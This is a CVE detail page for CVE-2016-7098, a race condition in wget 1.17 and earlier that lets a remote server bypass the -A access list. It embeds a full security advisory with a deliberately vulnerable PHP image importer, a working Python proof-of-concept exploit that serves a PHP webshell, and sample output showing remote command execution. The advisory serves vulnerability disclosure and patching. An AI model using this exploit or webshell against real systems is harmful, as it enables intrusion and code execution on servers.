CVE-2016-7098 Detail

CVE-2016-7098

Score / Severity

8.1

High

EPSS

5.01%V3

Vector

Network

Published

2016-09-26
12h00 +00:00

Modified

2020-01-29
22h06 +00:00

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CVE.org

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CVE Descriptions

Race condition in wget 1.17 and earlier, when used in recursive or mirroring mode to download a single file, might allow remote servers to bypass intended access list restrictions by keeping an HTTP connection open.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	8.1	HIGH	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. High A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	[email protected]

EPSS

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EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 40824

Publication date : 2016-11-23 23h00 +00:00
Author : Dawid Golunski
EDB Verified : Yes

''' ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html - CVE-2016-7098 - Release date: 24.11.2016 - Revision 1.0 - Severity: Medium ============================================= I. VULNERABILITY ------------------------- GNU Wget < 1.18 Access List Bypass / Race Condition II. BACKGROUND ------------------------- "GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc. GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy " https://www.gnu.org/software/wget/ III. INTRODUCTION ------------------------- GNU wget in version 1.17 and earlier, when used in mirroring/recursive mode, is affected by a Race Condition vulnerability that might allow remote attackers to bypass intended wget access list restrictions specified with -A parameter. This might allow attackers to place malicious/restricted files onto the system. Depending on the application / download directory, this could potentially lead to other vulnerabilities such as code execution etc. IV. DESCRIPTION ------------------------- When wget is used in recursive/mirroring mode, according to the manual it can take the following access list options: "Recursive Accept/Reject Options: -A acclist --accept acclist -R rejlist --reject rejlist Specify comma-separated lists of file name suffixes or patterns to accept or reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in an element of acclist or rejlist, it will be treated as a pattern, rather than a suffix." These can for example be used to only download JPG images. It was however discovered that when a single file is requested with recursive option (-r / -m) and an access list ( -A ), wget only applies the checks at the end of the download process. This can be observed in the output below: # wget -r -nH -A '*.jpg' http://attackersvr/test.php Resolving attackersvr... 192.168.57.1 Connecting to attackersvr|192.168.57.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/plain] Saving to: â€˜test.phpâ€™ 15:05:46 (27.3 B/s) - â€˜test.phpâ€™ saved [52] Removing test.php since it should be rejected. FINISHED Although wget deletes the file at the end of the download process, this creates a race condition as an attacker with control over the URL/remote server could intentionally slow down the download process so that they had a chance to make use of the malicious file before it gets deleted. It is very easy to win the race as the file only gets deleted after the HTTP connection is terminated. The attacker could therefore keep the connection open as long as it was necessary to make use of the uploaded file as demonstrated in the proof of concept below. V. PROOF OF CONCEPT EXPLOIT ------------------------------ Here is a simple vulnerable PHP web application that uses wget to download images from a user-provided server/URL: ---[ image_importer.php ]--- <?php // Vulnerable webapp [image_importer.php] // Uses wget to import user images from provided site URL // It only accepts JPG files (-A wget option). if ( isset($_GET['imgurl']) ) { $URL = escapeshellarg($_GET['imgurl']); } else { die("imgurl parameter missing"); } if ( !file_exists("image_uploads") ) { mkdir("image_uploads"); } // Download user JPG images into /image_uploads directory system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1"); ?> ---------------------------- For example: https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg will cause wget to upload logo.jpg file into: https://victimsvr/images_uploads/logo.jpg The wget access list (-A) is to ensure that only .jpg files get uploaded. However due to the wget race condition vulnerability an attacker could use the exploit below to upload an arbitrary PHP script to /image_uploads directory and achieve code execution. ---[ wget-race-exploit.py ]--- ''' #!/usr/bin/env python # # Wget < 1.18 Access List Bypass / Race Condition PoC Exploit # CVE-2016-7098 # # Dawid Golunski # https://legalhackers.com # # # This PoC wget exploit can be used to bypass wget -A access list and upload a malicious # file for long enough to take advantage of it. # The exploit sets up a web server on port 80 and waits for a download request from wget. # It then supplies a PHP webshell payload and requests the uploaded file before it gets # removed by wget. # # Adjust target URL (WEBSHELL_URL) before executing. # # Full advisory at: # # https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html # # Disclaimer: # # For testing purposes only. Do no harm. # # import SimpleHTTPServer import time import SocketServer import urllib2 import sys HTTP_LISTEN_IP = '0.0.0.0' HTTP_LISTEN_PORT = 80 PAYLOAD=''' <?php //our webshell system($_GET["cmd"]); system("touch /tmp/wgethack"); ?> ''' # Webshell URL to be requested before the connection is closed # i.e before the uploaded "temporary" file gets removed. WEBSHELL_URL="http://victimsvr/image_uploads/webshell.php" # Command to be executed through 'cmd' GET paramter of the webshell CMD="/usr/bin/id" class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # Send the payload on GET request print "[+] Got connection from wget requesting " + self.path + " via GET :)\n" self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(PAYLOAD) print "\n[+] PHP webshell payload was sent.\n" # Wait for the file to be flushed to disk on remote host etc. print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n" time.sleep(2) # Request uploaded webshell print "[+} File '" + self.path + "' should be saved by now :)\n" print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n" print "[+} Command result: " print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read() print "[+} All done. Closing HTTP connection...\n" # Connection will be closed on request handler return return handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) print "\nWget < 1.18 Access List Bypass / Race Condition PoC Exploit \nCVE-2016-7098\n\nDawid Golunski \nhttps://legalhackers.com \n" print "[+} Exploit Web server started on HTTP port %s. Waiting for wget to connect...\n" % HTTP_LISTEN_PORT handler.serve_forever() ''' ------------------------------ If the attacker run this exploit on their server ('attackersver') and pointed the vulnerable script image_importer.php at it via URL: https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php The attacker will see output similar to: root@attackersvr:~# ./wget-race-exploit.py Wget < 1.18 Access List Bypass / Race Condition PoC Exploit CVE-2016-7098 Dawid Golunski https://legalhackers.com [+} Exploit Web server started on HTTP port 80. Waiting for wget to connect... [+] Got connection from wget requesting /webshell.php via GET :) victimsvr - - [24/Nov/2016 00:46:18] "GET /webshell.php HTTP/1.1" 200 - [+] PHP webshell payload was sent. [+} Sleep for 2s to make sure the file has been flushed to the disk on the target... [+} File '/webshell.php' should be saved by now :) [+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id [+} Command result: uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd) [+} All done. Closing HTTP connection... VI. BUSINESS IMPACT ------------------------- The vulnerability might allow remote servers to bypass intended wget access list restrictions to temporarily store a malicious file on the server. In certain cases, depending on the context wget command was used in and download path, this issue could potentially lead to other vulnerabilities such as script execution as shown in the PoC section. VII. SYSTEMS AFFECTED ------------------------- Wget < 1.18 VIII. SOLUTION ------------------------- Update to latest version of wget 1.18 or apply patches provided by the vendor. IX. REFERENCES ------------------------- https://legalhackers.com https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html https://legalhackers.com/exploits/CVE-2016-7098/wget-race-exploit.py https://www.gnu.org/software/wget/ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7098 https://security-tracker.debian.org/tracker/CVE-2016-7098 http://lists.opensuse.org/opensuse-updates/2016-09/msg00044.html http://lists.gnu.org/archive/html/bug-wget/2016-08/msg00124.html https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7098 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 24.11.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. '''